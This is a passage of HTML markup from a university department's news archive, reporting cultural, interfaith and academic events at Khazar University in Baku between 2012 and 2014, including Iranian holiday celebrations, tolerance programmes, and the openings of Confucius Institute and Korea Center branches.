majoring in Persian recited poems about Last Tuesday in Azerbaijani and Persian and gave information about Iranian traditions related to Last Tuesda</p><p style=\"text-align:justify\">The holiday mood of the participants was heightened by participating in one interesting tradition of Last Tuesday: girls’ fortune telling using water. At the end of the event, participants &nbsp;joined in the game &nbsp;\"Hakhishta\" and shared holiday joy around a colorful feast.&nbsp;</p><p style=\"text-align:justify\">&nbsp;<strong>Event Photos:&nbsp;</strong><strong><a href=\"http://old.khazar.org/news/2014/Cultural-Event-on-Last-Tuesday-Traditions-in-Azerbaijan-and-Iran_5977.html\" target=\"_blank\">http://old.khazar.org/news/2014/Cultural-Event-on-Last-Tuesday-Traditions-in-Azerbaijan-and-Iran_5977.html</a></strong></p><p style=\"text-align:justify\">&nbsp;</p><p style=\"text-align:justify\"><strong>15 February 2014</strong></p><h3 style=\"text-align:justify\"><strong>Legal Education Center conducts weekly training courses on Human Rights</strong></h3><p style=\"text-align:justify\">&nbsp;On February 15, weekly training courses were held at Khazar University Legal Education Center, established with the support of Azerbaijan Lawyers Confederation and the US Agency for International Development (USAID) within the “Azerbaijan Rights Consortium” project. The center provides training courses on Human Rights to law students and prepares young lawyers who wish to participate in Bar Admission Exams.&nbsp;</p><p style=\"text-align:justify\">The participants of the training are students from Khazar University, Baku State University, National Aviation Academy and the Academy of Public Administration under the President of the Republic of Azerbaijan. During the training, Elnura Azizova,&nbsp;Head of Department of&nbsp;Eastern Languages and Religious Studies&nbsp;at Khazar University,&nbsp;delivered a&nbsp;lecture on “Freedom of religion and belief in the&nbsp;human rights&nbsp;context.”</p><p style=\"text-align:justify\">&nbsp;<strong>Event Photos:&nbsp;</strong><a href=\"http://old.khazar.org/news/2014/Legal-Education-Center-conducts-weekly-training-courses-on-Human-Rights_5902.html\" target=\"_blank\">http://old.khazar.org/news/2014/Legal-Education-Center-conducts-weekly-training-courses-on-Human-Rights_5902.html</a></p><p style=\"text-align:justify\">&nbsp;</p><p style=\"text-align:justify\">&nbsp;<strong>8 February 2014</strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong>Second IB form on “Create and Educate” Held at Dunya School</strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\">&nbsp;On February 8, Khazar University’s Dunya School held a second IB Forum.&nbsp;Various schools of Baku and Sumgait attended the event. The purpose of the forum&nbsp;was to discuss&nbsp;the current state and the future of education. &nbsp;Khazar University’s founder and chairman of the Board of Directors and Trustees, Professor Hamlet Isaxanli,&nbsp;spoke about the importance of international education&nbsp;and&nbsp;noted that Dunya School holds a special place among educational institutions.</p><p style=\"text-align:justify\">Teachers and students made presentations in breakout sessions, including Gulshan Samedova and Nigar Jahangirova of \"XXI Century\" Education Center along with their student Konul&nbsp;Bayramova; Alekber Alekberov,&nbsp;&nbsp;teacher of&nbsp; Baku British School; Ramila Azizova and&nbsp; Amina Ibrahimova, teachers of &nbsp;Dunya School; and the following students of Dunya School&nbsp;IB 1 and IB 2: Anar Ismailov, Vugar Cavadov, Tukez Akhmedova, Farida Farajova, Togrul Mammadov, Rustam Hasanov, Esmiralda Shirinova, Sima Jabbarova, Aidan Nasibova&nbsp; and Fatima Khalilov. The forum&nbsp;was successfully completed. &nbsp;</p><p style=\"text-align:justify\"><strong>Rena Hasanova,</strong></p><p style=\"text-align:justify\"><strong>Dunya School IB coordinator</strong></p><p style=\"text-align:justify\">&nbsp;<strong>Event Photos:&nbsp;<a href=\"http://old.khazar.org/news/2014/Second-IB-form-on-Create-and-Educate-Held-at-Dunya-School_5892.html\" target=\"_blank\">http://old.khazar.org/news/2014/Second-IB-form-on-Create-and-Educate-Held-at-Dunya-School_5892.html</a></strong></p><p style=\"text-align:justify\">&nbsp;</p><p style=\"text-align:justify\">&nbsp;<strong>20 December 2013</strong></p><p style=\"text-align:justify\"><strong>Event Entitled \"Shebi Yelda – Chile Night” was Held</strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\">&nbsp;On December 20, with the joint organization of the Department of Eastern Languages&nbsp;​​and Religious Studies and the Center for Iranian Studies, an event entitled \"Shebi Yelda - Chile Night\" was held. This event&nbsp;is part of&nbsp;the&nbsp;\"Iranian Culture Days\" series. Along with the staff and students of the university, Iranian Cultural Center staff and other guests attended the meeting.</p><p style=\"text-align:justify\">The event was opened by the Head of the Department, Elnura Azizova. She emphasized that&nbsp;this night, symbolizing the end of the longest night&nbsp;of winter and known as&nbsp;\"Shebi Yelda\" in the Iranian culture, is marked as&nbsp;\"Chile Night” in various regions of Azerbaijan and it is common between the two cultures. She noted the special role of&nbsp;Persian language instructors Zivar Huseynova,&nbsp;Nahid Shefiyev and Rustam Lazimov in the organization of the event. University students who are learning Persian language&nbsp;have a great interest in organizing various cultural programs related to the field.</p><p style=\"text-align:justify\">Then students made presentations covering Shebi Yelda – Chile Night’s history, its essence, forms of its celebration in different regions of Iran and Azerbaijan, and similarities and differences in its customs. Then they recited poems in Persian relating to Shebi Yelda.</p><p style=\"text-align:justify\">Persian language and literature instructor of the university, Dr. Rustam Lazimov,&nbsp;gave information about the importance of Shebi Yelda in the ancient Zoroastrian beliefs and&nbsp;noted the role of this holiday in symbolizing the advantage of heat over cold and&nbsp;light over darkness. After giving a brief overview of the \"Hafiz horoscope,\"&nbsp;which constitutes an important part of Shebi Yelda celebrations and&nbsp;is known as an interpretation&nbsp;of someone’s intent,&nbsp;Head of the Iranian Cultural Center&nbsp;Ibrahim Nuri read a couplet from the Divan of&nbsp;Hafiz. Then the couplet was interpreted by Rustam Lazimov. After the positive interpretation of the couplet,&nbsp;the participants were in high spirits and were invited to the second part of the event, the Shebi Yelda tea party prepared&nbsp;with Iranian and Azerbaijani sweets.&nbsp;The event emphasized the similarities and proximity between neighboring cultures and created a spring-like mood for the participants with its inclusion of watermelon, characteristic of the Shebi Yelda table, and other colorful dishes.</p><p style=\"text-align:justify\">&nbsp;<strong>Event Photos:</strong><strong>&nbsp;<a href=\"http://old.khazar.org/news/2013/Event-Entitled-Shebi-Yelda--Chile-Night-was-Held_5637.html\" target=\"_blank\">http://old.khazar.org/news/2013/Event-Entitled-Shebi-Yelda--Chile-Night-was-Held_5637.html</a></strong></p><p style=\"text-align:justify\">&nbsp;</p><p style=\"text-align:justify\"><strong>19 December 2013</strong></p><p style=\"text-align:justify\"><strong>Routine meeting of the “Belief Rainbow” series of Programs on Tolerance</strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\">On December 19, as organized by the Department of Eastern Languages&nbsp;​​and Religious Studies, a program entitled&nbsp;\"Moral values of&nbsp;the&nbsp;Far East:&nbsp;Hinduism, Buddhism and Confucianism\"&nbsp;was held. This program was a part of&nbsp;the&nbsp;“Belief Rainbow” series of programs on&nbsp;tolerance. Opening the program,&nbsp;Head of the Department,&nbsp;Elnura Azizova,noted that this is the last program&nbsp;in&nbsp;the series of programs on&nbsp;tolerance for the first semester&nbsp;of the&nbsp;2013-2014 academic year. She noted that&nbsp;the main purpose of the event is&nbsp;to inform&nbsp;students&nbsp;about the moral values&nbsp;​​of the Far East,&nbsp;which has great importance in world religions.&nbsp;</p><p style=\"text-align:justify\">Then, with a presentation by students, comprehensive information was given about three ancient religious and spiritual traditions of the East.&nbsp;Within&nbsp;the program, information about the emergence&nbsp;of&nbsp;the history of the formation process,&nbsp;the basic beliefs&nbsp;and worship, temples, special days and community structure of Hinduism, Buddhism and Confucianism was given, very interesting video films related to the topic were presented,&nbsp;and students\' questions were answered.</p><p style=\"text-align:justify\">&nbsp;<strong>Event Photos:</strong><strong>&nbsp;<a href=\"http://old.khazar.org/news/2013/Routine-meeting-of-the-Belief-Rainbow-series-of-Programs-on-Tolerance_5650.html\" target=\"_blank\">http://old.khazar.org/news/2013/Routine-meeting-of-the-Belief-Rainbow-series-of-Programs-on-Tolerance_5650.html</a></strong></p><p style=\"text-align:justify\">&nbsp;</p><p style=\"text-align:justify\"><strong>16 December 2013</strong></p><p style=\"text-align:justify\"><strong>Dialogue on the Abrahamic Religions</strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\">On December 16, with the organization of the Eastern Languages&nbsp;​​and Religious Studies Department,&nbsp;a cultural event entitled \"Dialogue on&nbsp;Abrahamic Religions\" was held.This event was a part of the “Belief Rainbow” series of cultural events. Official representatives of the Jewish and Christian communities registered in Azerbaijan, university employees and students participated in the event.</p><p style=\"text-align:justify\">Head of the Department,&nbsp;Elnura Azizova, opened the event and noted that the value of tolerance is growing in importance every day&nbsp;in our global world. In connection to this, it is vitally important for the young generation to gain experience in recognizing and&nbsp;understanding differences as well as living together with them. She noted that&nbsp;Azerbaijan has a long history of religious diversity&nbsp;including Judaism, Christianity and Islam, and these religions have been existing together for centuries. Currently,&nbsp;important work is also being successfully carried out in both the state and the civilian arenas here.</p><p style=\"text-align:justify\">Then the students made many interesting presentations on the stages of religious formation and propagation, faith, worship and traditions, community structure,&nbsp;auspicious days and temples&nbsp;of Judaism, Christianity and Islam.</p><p style=\"text-align:justify\">Representative of the&nbsp;Baku Religious Community&nbsp;of&nbsp;European Jews, Rabbi Sneor&nbsp;Sigal, &nbsp;reported on the history and current status of the Jewish community in Azerbaijan. He said that Azerbaijan is a unique place, demonstrating the practice of religious tolerance&nbsp;which some countries in the East&nbsp;as well as in the West&nbsp;have not been able to do. Rabbi Sneor Sigal said that the main reason for this&nbsp;is that&nbsp;Azerbaijani people&nbsp;remain faithful to the principles of hospitality and humanity, regardless of their historical experience.</p><p style=\"text-align:justify\">The press secretary of the Baku and Azerbaijan&nbsp; Diocese of the Russian Orthodox Church,&nbsp;priest Konstantin Pominov,&nbsp;noted that this event held at Khazar University&nbsp;assumed great importance for strengthening trends of&nbsp;tolerance among youth. He noted that&nbsp;in order to avoid unpleasant&nbsp;religious intolerance and violence, the leaders of the religious community in the country have always&nbsp;showed sensitivity and&nbsp;attempted to solve problems.</p><p style=\"text-align:justify\">Assistant Vice President of the community Mountain Jews in Baku, Rafiq Mikhayilov, stated that&nbsp;a large concentration of Jews have lived in the Red&nbsp;settlement of Guba district for over two centuries, continuing to maintain their attitude of peace and brotherhood&nbsp;to a high degree with the local Muslim people, and there are very few examples of this in the world.&nbsp;After the guests’&nbsp;reports related to the&nbsp;importance of religious tolerance and its state in Azerbaijan, photos were taken.</p><p style=\"text-align:justify\">&nbsp;<strong>Event Photos:</strong><strong>&nbsp;<a href=\"http://old.khazar.org/news/2013/Dialogue-on-the-Abrahamic-Religions_5630.html\" target=\"_blank\">http://old.khazar.org/news/2013/Dialogue-on-the-Abrahamic-Religions_5630.html</a></strong></p><p style=\"text-align:justify\">&nbsp;</p><p style=\"text-align:justify\"><strong>15 December 2013</strong></p><p style=\"text-align:justify\"><strong>\"Tolerance Visits: Temple and Community in the Abrahamic Religions” within the “Belief Rainbow” series of programs on Tolerance</strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\">On December 8- 15, as organized by the Department of Eastern Languages&nbsp;​​and Religious Studies&nbsp;of Khazar University, a program entitled “Tolerance&nbsp;Visits: Temple and Community in the Abrahamic Religions” was held. This program was a part of the “Belief Rainbow” series of programs on Tolerance. Within the program, the students visited temples of&nbsp;Judaism, Christianity and Islam.</p><p style=\"text-align:justify\">&nbsp;Under the leadership of the Head of the Department, Elnura Azizova,&nbsp;university students&nbsp;participated in a Sunday liturgical service held in&nbsp;St. Mary\'s Catholic Church on 8&nbsp;December.</p><p style=\"text-align:justify\">Expressing his gratitude to the students for their interest in religions, a church worker gave them information about the position of Catholicism in relation to other branches of Christianity, the formation of this branch in Azerbaijan, and its role in modern times. He also answered students\' questions associated with faith, worship, morals and the outlook of Catholicism, which is considered the oldest branch of Christianity.</p><p style=\"text-align:justify\">On December 14, the students participated in a Sabbath ritual at the Synagogue of The European Jews.&nbsp; At the end of the ceremony students were informed about branches of Judaism, their faith, worship, holy days, and so on.</p><p style=\"text-align:justify\">On December 15, the students watched the morning worship in the synagogue of the community of Mountain Jews. After praying, the students were informed about the history and belief system of Mountain Jews in Azerbaijan, which is one of the oldest Jewish communities in the country. Then the students participated in a Sunday ceremony at the Russian Orthodox Church. After the ceremony, Pastor Konstantin Pominov answered students’ questions about the importance of the ceremony and religious attributes in the church.</p><p style=\"text-align:justify\">On the same day, the students visited the Martyrs’ Mosque. There, detailed information about the historical periods of Islam in Azerbaijan, beliefs, worship and moral values of Islam were given to the students.</p><p style=\"text-align:justify\">The students completed the program with a strong impression of the importance of tolerance and religious endurance&nbsp; in the global world, having become familiar with the concept of sacred space and community of members of Abrahamic religions in Azerbaijan and having directly participated in the experience of co-existence.</p><p style=\"text-align:justify\">&nbsp;<strong>Event Photos:&nbsp;</strong><a href=\"http://old.khazar.org/news/2013/Tolerance-Visits:-Temple-and-Community-in-the-Abrahamic-Religions-within-the-Belief-Rainbow-series-of-programs-on-Tolerance_5651.html\" target=\"_blank\">http://old.khazar.org/news/2013/Tolerance-Visits:-Temple-and-Community-in-the-Abrahamic-Religions-within-the-Belief-Rainbow-series-of-programs-on-Tolerance_5651.html</a></p><p style=\"text-align:justify\">&nbsp;</p><p style=\"text-align:justify\"><strong>13 December 2013</strong></p><p style=\"text-align:justify\"><strong>Event Entitled \"Fine Arts and Azerbaijani Masters in Islamic Culture\" was Held</strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\">On December 13, 2013, as organized by the Department of Eastern Languages&nbsp;​​and Religious Studies&nbsp;of Khazar University, a cultural event entitled \"Fine Arts and&nbsp;Azerbaijan masters in Islamic Culture\"&nbsp;was held. Head of the Department, Elnura Azizova, opened the event and noted that subjects which are taught on the history of Islamic culture and thought&nbsp;at Khazar University&nbsp;have created great interest among students,&nbsp;and&nbsp;this event was organized in order to nurture this interest. Then the students&nbsp;made many interesting and colorful presentations related to artistic spheres such as illumination, line, miniatures, and marbling in&nbsp;Islamic art, their historical development, and their different types.</p><p style=\"text-align:justify\">The second part of the event&nbsp;was a show dedicated to the works of the masters in different fields of Islamic art.&nbsp;In this section, interesting compositions were displayed, such as the famous calligrapher Gulkhan Beydemi’s works combining classic handwriting styles with&nbsp;modern calligraphy, and interesting art works of Vusal Garagashly and Zaur Orucov, who learned the arts of illumination and marbling&nbsp;at Turkey\'s Mimar Sinan University.&nbsp;<br>The development of marbling which was shown by Ebru masters&nbsp;was very interesting for students. At the end of the event,&nbsp;photos were taken of the university staff, students and guest artists.</p><p style=\"text-align:justify\">&nbsp;<strong>Event Photos:</strong><strong>&nbsp;<a href=\"http://old.khazar.org/news/2013/Event-Entitled-Fine-Arts-and-Azerbaijani-Masters-in-Islamic-Culture-was-Held_5625.html\" target=\"_blank\">http://old.khazar.org/news/2013/Event-Entitled-Fine-Arts-and-Azerbaijani-Masters-in-Islamic-Culture-was-Held_5625.html</a></strong></p><p style=\"text-align:justify\">&nbsp;</p><p style=\"text-align:justify\"><strong>6 December 2013</strong></p><p style=\"text-align:justify\"><strong>Iranian Cuisine Day</strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\">On December 6th, with the joint organization of the Department of Eastern Languages&nbsp;​​and Religious Studies and the Center for Iranian Studies, “Iranian Cuisine Day”&nbsp;was&nbsp; held at Khazar University. This event&nbsp;is part of&nbsp;the \"Eastern hospitality\"&nbsp;series of cultural events.&nbsp;The event was opened by head of Department Elnura Azizova,&nbsp;whonoted&nbsp;that there is a long history of teaching Persian language and literature and research in this field at the university,&nbsp;and&nbsp;as a result of this,&nbsp;students participate in various competitions and programs and&nbsp;have had&nbsp;major achievements. The&nbsp;department&nbsp;has also&nbsp;organized events in various areas related to Iranian culture.</p><p style=\"text-align:justify\">Khazar University’s founder and chairman of the Board of Directors and Trustees, Professor Hamlet Isaxanli,&nbsp;noted that&nbsp;the cultures&nbsp;of the Azerbaijani&nbsp;and Iranian&nbsp;peoples have a large number of common values in various fields,&nbsp;including&nbsp;culinary culture,&nbsp;and there is&nbsp;great importance&nbsp;in the&nbsp;investigation and study of various aspects of Iranian culture for students who&nbsp;are&nbsp;learning&nbsp;the&nbsp;Persian language&nbsp;.</p><p style=\"text-align:justify\">The&nbsp;Ambassador of the Islamic Republic of Iran to Azerbaijan, Pak Ayin,&nbsp;noted that this event is not only&nbsp;promoting the ancient culture of Iranian&nbsp;cuisine,&nbsp;but that&nbsp;it&nbsp;will alsoplay an important role in the development of cultural&nbsp;and friendly relations between&nbsp;the&nbsp;Azerbaijani&nbsp;and&nbsp;Iranian peoples and states.</p><p style=\"text-align:justify\">Different types of&nbsp;traditional Iranian&nbsp;dishes&nbsp;were&nbsp;presented to the staff and students of the university, as well as guests.</p><p style=\"text-align:justify\">&nbsp;<strong>Event Photos: &nbsp;</strong><a href=\"http://old.khazar.org/news/2013/Iranian-Cuisine-Day_5607.html\" target=\"_blank\">http://old.khazar.org/news/2013/Iranian-Cuisine-Day_5607.html</a></p><p style=\"text-align:justify\">&nbsp;</p><p style=\"text-align:justify\"><strong>29 November 2013</strong></p><p style=\"text-align:justify\"><strong>Event on \"Azerbaijan Translation of Shahnameh\"</strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\">On November 29, a seminar on “Azerbaijan Translation of Abulgasim Ferdovsi’s Shahnameh Work\" was held at Khazar University. This seminar is part of the series of \"Pearls of Eastern Literature\" which is jointly organized by the Department of Eastern Languages ??and Religious Studies and the Center for Iranian Studies. The event was opened by the head of the department, Elnura Azizova, and gave information about lecturers and the importance of the\"Shahnameh\" to the world\'s literary heritage. Doctor of Philosophy Rustam Lazimov talked about stages in the development of Persian literature &nbsp;and the role of \"Shahnameh\" in the history of Persian literature. Doctor of Philosophy Nushaba Alizadeh gave interesting information about &nbsp;the translation process of \"Shahnameh\" into Azerbaijani and the full publication of the work. At the end of the event, students’ and university employees’ questions about the content, value, influence, and translation of the \"Shahnameh\" were answered.&nbsp;</p><p style=\"text-align:justify\"><strong>Event Photos:&nbsp;</strong><strong>&nbsp;<a href=\"http://old.khazar.org/news/2013/Sahnamenin-azerbaycanca-tercumesine-dair-tedbir_5585.html\" target=\"_blank\">http://old.khazar.org/news/2013/Sahnamenin-azerbaycanca-tercumesine-dair-tedbir_5585.html</a></strong></p><hr><p style=\"text-align:justify\"><strong>16 November 2013</strong></p><p style=\"text-align:justify\"><strong>Symposium on \"Maraş i</strong><strong>n the Republican Period”</strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\">On November 15-16, an international symposium on&nbsp; \"Maraş in the&nbsp; Republican period” was held in Kahramanmaraş in Turkey.&nbsp;</p><p style=\"text-align:justify\">Khazar University was represented&nbsp;by&nbsp;instructor of the History and Archaeology Department, Doctor in History, Associate Professor David Musalı, and instructor of the Department of Eastern Languages, Doctor in Philology, Ziver Huseynli.&nbsp;The conference was organized by the municipality of Kahramanmaraş.</p><hr><p style=\"text-align:justify\"><strong>17 April 2013</strong></p><p style=\"text-align:justify\"><strong>Branch of the Confucius Institute opened at Khazar University</strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\">On April 17, 2013 at 11:00, with the participation of Hong Tsuyin, Extraordinary and Plenipotentiary Ambassador of People\'s Republic of China to Azerbaijan, the opening ceremony of the branch of BSU Confucius Institute at Khazar University. In connection to this, \"Chinese Culture Day\" was also held in Khazar University. The event, which was coordinated in cooperation with the Eastern Languages ​​and Religious Studies Department of Khazar University and the Confucius Institute, was opened with a speech by the founder of Khazar University and chairman of its Board of Directors and Trustees, Professor Hamlet Isaxanli. H. Isaxanli talked about&nbsp;China\'s role in world culture, how it has become one of the leading forces in the global economy in recent years, relations between China and Azerbaijan, its history and significance, and Chinese language and culture in the globalized world. He stressed that&nbsp;Confucius Institutes have great importance in introducing Chinese culture to the world and&nbsp;establishing cultural, economic and scientific relations between China and other countries. He wished success to the affiliate Branch of BSU Confucius Institute at Khazar University in this area.</p><p style=\"text-align:justify\">Ambassador of the People\'s Republic of China to Azerbaijan, Hong Tsuyin, stressed the importance of the interest in Chinese language and culture and noted this has a big positive impact on multi-faceted cooperation between the two countries.&nbsp; After the speeches of Oktay Calilbeyli and Hu Fanxua, Directors of the Confucius Institute of Baku State University, a bilateral agreement was signed between Khazar University and the Confucius Institute.</p><p style=\"text-align:justify\">Then the guests became acquainted with examples from different attributes of Chinese culture through a calligraphy, fine arts and crafts exhibition, watched a Chinese national dance performed by the dance group consisting of students from Khazar University, and listened to Chinese national songs to the accompaniment of guitar, performed by students.</p><p style=\"text-align:justify\">&nbsp;The second part of the event was held at the Center which has been established for the Khazar&nbsp; Branch of BSU Confucius Institute. Professor Hamlet Isakhanli and Ambassador Hong Tsuyin cut the ribbon at the opening ceremony of the Center and listened to part of a course taught in Chinese by Confucius Institute teaching staff.&nbsp; At the end of the event, photos were taken.</p><p style=\"text-align:justify\"><strong>Event Photos:&nbsp;<a href=\"http://old.khazar.org/news/2013/Branch-of-the-Confucius-Institute-opened-at-Khazar-University_5237.html\" target=\"_blank\">http://old.khazar.org/news/2013/Branch-of-the-Confucius-Institute-opened-at-Khazar-University_5237.html</a></strong></p><hr><p style=\"text-align:justify\"><strong>5 April 2013</strong></p><p style=\"text-align:justify\"><strong>Khazar University Faculty Members at International Symposium</strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\">On April 5, the International Shah Khatai - Sultan Selim Symposium was organized at the Excelsior hotel by ATEV (Azerbaijan - Turkish House).&nbsp; The purpose of the symposium was to discuss one of the controversial moments of the history of the Turkish, Safavid - Ottoman conflict with the participation of Azerbaijani and Turkish scholars and to come a consensus about it.</p><p style=\"text-align:justify\">Instructor of the Department of History and Archaeology of Khazar University, Doctor in History David Musali, reported on \"The Personality of Shah Ismail Khatai\" at the first session of the symposium. He evaluated Shah Ismail\'s role in the history of Azerbaijan and the Turkic world, using original sources to discuss aspects of his multi-faceted personality which combined qualities such as&nbsp;statesman, military leader, athlete, poet and spiritual leader. Another employee of the university, Doctor in Philology Ziver Huseynova, reported on \"The Role of Shah Ismail Khatai in the Development of Azerbaijani Literary Language and literature\" in the symposium.</p><hr><p style=\"text-align:justify\"><strong>9 February 2013</strong></p><p style=\"text-align:justify\"><strong>Chinese New Year Celebration</strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\">On February 9th, a concert in honor of Chinese New Year was held in Khazar University’s “World” Concert Hall at the initiative of the Confucius Institute of the People’s Republic of China in Azerbaijan. The concert was opened by the Vice President of Baku State University, Professor Adil Kazimzadeh, who spoke about the activities of the Confucius Institute.&nbsp; Then the Ambassador of the People’s Republic of China to Azerbaijan, Hong Jiuyin, made a speech about successes achieved in the country during 2012. The founder of Khazar University and chairman of its Board of Directors and Trustees, Professor Hamlet Isaxanli, and Professor Lala Ahmadova of the State Administration Academy of the President of the Azerbaijan Republic made speeches about the role of education in strengthening Azerbaijan/China relations.</p><p style=\"text-align:justify\">After the formal part of the ceremony, the concert began. Students of the BSU Confucius Institute made performances including songs and poetry. They wore Chinese national clothing. Then students of Khazar University and Western University also demonstrated their talents.</p><p style=\"text-align:justify\">A video clip of the concert may be viewed at this link:&nbsp;<a href=\"https://owa.baku8km.khazar.org/exchweb/bin/redir.asp?URL=http://kanal13.tv/?direct=news%26id=2145\" target=\"_blank\">http://kanal13.tv/?direct=news&amp;id=2145</a></p><p style=\"text-align:justify\"><strong>Event Photos:&nbsp;</strong><strong><a href=\"http://old.khazar.org/news/2013/Chinese-New-Year-Celebration_5103.html\" target=\"_blank\">http://old.khazar.org/news/2013/Chinese-New-Year-Celebration_5103.html</a></strong></p><hr><p style=\"text-align:justify\"><strong>24 December 2012</strong></p><p style=\"text-align:justify\"><strong>“Let’s learn world religions for a better world” Event Series</strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\">On December 17-24, as organized by the Department of Eastern Languages ​​and Religious Studies of Khazar University, 4 presentations of a series of programs called “Let’s learn world&nbsp;religions for a better world” were held. University staff, faculty and students, as well as representatives of religious communities registered in the Azerbaijan Republic and other guests participated in the meeting.</p><p style=\"text-align:justify\">Department of Eastern Languages ​​and Religious Studies, Dr. Elnura Azizova, gave information about the program goals and objectives at the first presentation on \"From religion to culture: Judaism \" which was held on December 17 during this program. She noted that the main objective of the program was informing students about the great world religions and developing their tolerance for religious and cultural differences. Then participants become familiar with the materials enriched with visual aids related to the history of Judaism, belief systems, the rules of worship, moral and philosophical views, main trends, social structures, holidays and festivals, and traditions. Member of Baku Jewish community, Senor Rabbi Segal, gave information about national and religious holidays and special days of&nbsp; Judaism. Another guest at the event, Chairman of the Mountain Jews community, Milih Yevdayev, spoke about settling in Azerbaijan, history and the modern situation of the Mountain Jews. The presentation was not only limited to theoretical information; the various attributes associated with the religion and culture of the Jews were also demonstrated. Participants listened to music in Hebrew performed by students of the university and tried some of food representing Jewish cuisine.</p><p style=\"text-align:justify\">On December 19, at the second presentation entitled \"From religion to culture: Christianity,” participants got information about the history of&nbsp; Christianity, the system of belief/ worship, the main moral and philosophical views, the social structure, traditions and festivals, which was accompanied by visual aids. The participants’ questions related to the topic were answered.</p><p style=\"text-align:justify\">At the third presentation entitled \"From religion to culture: Hinduism\" within the program, which was held on December 21, participants were enlightened about the history and development of the process, sacred texts, basic beliefs and worships, ethics, and most important categories of thinking of Hinduism, which is considered one of the world\'s oldest religions.</p><p style=\"text-align:justify\">Member of the International Society for Krishna Consciousness, Ramil Aliyev, made a presentation about topic and answered questions. With the students\' performance with Indian clothes, singing songs to the accompaniment of Indian musical instruments, following the presentation of the offering some meals and sweets of Indian cuisine, the program truly ended in an \"Indian culture day\" mood.</p><p style=\"text-align:justify\">On December 24, the last event of the program, \"From religion to culture: Buddhism,\" was presented. Theoretical information and visual aids about&nbsp;the creation and dissemination process of Buddhism, the main ideas of belief and worship, the main moral and philosophical views, specific aspects of the system of Buddhist thought, traditions, and special days and festivals was given at the presentation. After the presentation, participants’ questions related to the topic were answered. At the end of the event, E. Azizova noted that new events related to other religions and trends were planned by the department in the near future.</p><p style=\"text-align:justify\"><strong>Event Photos:</strong><strong>&nbsp;<a href=\"http://old.khazar.org/news/2012/-Lets-learn-world-religions-for-a-better-world-Event-Series_5044.html\" target=\"_blank\">http://old.khazar.org/news/2012/-Lets-learn-world-religions-for-a-better-world-Event-Series_5044.html</a></strong></p><hr><p style=\"text-align:justify\"><strong>17 October 2012</strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong>Opening of Korea Center was held at Khazar University</strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\">On October 17, 2012, the opening of the&nbsp;Korea Center and an exhibition dedicated to \"Korean Alphabet Day\" was held at Khazar &nbsp;University. &nbsp; Along with Khazar Employees, representatives of the Embassy of the Republic of Korea, representatives of the Korean community, and Korean businessmen participated in the event.</p><p style=\"text-align:justify\">The opening of the Korean Center, founded at the university with the joint support of Khazar University and the Embassy of the Republic of Korea, started with the opening speeches of the founder of Khazar University and chairman of its Board of Directors and Trustees, Professor Hamlet Isaxanli, and Extraordinary and Plenipotentiary Ambassador of the Korean Republic to the Republic of Azerbaijan, Mr. Cho Suk-Inn. &nbsp;Professor Hamlet Isaxanli mentioned in his opening speech that the Korean language has a special place among \"The languages assuming strategic importance\" which is have great importance in their study at Khazar University, and noted that in the future, along with the Korean language, the center will assume a great importance in the study of the history, literature and culture of this country. Then, as the organizer of the event, Head of Department of Eastern Languages and Religious Studies Elnura Azizova reported on \"Korean language and culture at “Khazar.”</p><p style=\"text-align:justify\">Despite the fact that the Korean language has been taught in the department for two years, a series of events entitled \"Korean Culture Days\" has been planned for the current academic year,&nbsp; and the \"Korean alphabet day\" exhibition is a first step in this direction. The founder of teaching Korean language at Khazar University, Younhong Lee, noted that in the fall of 2011 when he began teaching the subject, he didn’t expect that students and the university would show such a great interest in it and carry it forward to such levels.</p><p style=\"text-align:justify\">Then the university students offered the participants pleasant surprises by showing examples of Korean poetry and music. After the opening of the Korean Center, participants were invited to&nbsp; the exhibition dedicated to the \"Korean Alphabet Day\". The exhibition, which demonstrated&nbsp; national clothes, musical instruments, and handicrafts&nbsp; belonging to Korean people and culture, were very interesting to the participants. Each of the two amazing events&nbsp;were met with the satisfaction of the participants.</p><p style=\"text-align:justify\">In the near future, the Department of Eastern Languages and Religious Studies &nbsp;will organize a \"Korean cuisine\" event as a continuation of the \"Korean Culture Days\" series.</p><p style=\"text-align:justify\"><strong>Event Photos:</strong><strong>&nbsp;<a href=\"http://old.khazar.org/news/2012/Opening-of-Korea-Center-was-held-at-Khazar-University_916.html\" target=\"_blank\">http://old.khazar.org/news/2012/Opening-of-Korea-Center-was-held-at-Khazar-University_916.html</a></strong></p><hr><p style=\"text-align:justify\"><strong>6 December 2012</strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong>Our Employee Attends International Symposium</strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\">On October 4-6, in the international scientific symposium \"Marash during the Ottoman period\" held by the municipality of Kahramanmaraş, in the city of Kahramanmaraş, Turkey, Persian language instructor of Khazar University, PhD Ziver Huseynli, reported on \"Two historical works from Marash writers belonging to the Safavid period.\"</p><p style=\"text-align:justify\">History instructor at the Khazar University, Dr. Namiq Musali, and a senior scientific worker of ANAS, PhD Elmira Mammadova, also participated in the symposium, which was held in order to investigate the history and culture of Marash during the Ottoman period.</p><p style=\"text-align:justify\"><strong>Event Photos:&nbsp;<a href=\"http://old.khazar.org/news/2012/article_942.html\">http://old.khazar.org/news/2012/article_942.html</a></strong></p><hr><p style=\"text-align:justify\"><strong>28 September 2012</strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong>Our Employees Participate in International Turkish Congress</strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\">On September 24-28, the VII International Turkish Language Congress was organized in Ankara Bilkent Hotel and Conference Center by Turkish Language Institution.</p><p style=\"text-align:justify\">Delegates from 25 countries attended the congress.&nbsp; The Turkish Language Institution was created in 1932 with&nbsp; the initiative and help of Atatürk. Within 80 years of its existence, it achieved great success.</p><p style=\"text-align:justify\">On September&nbsp; 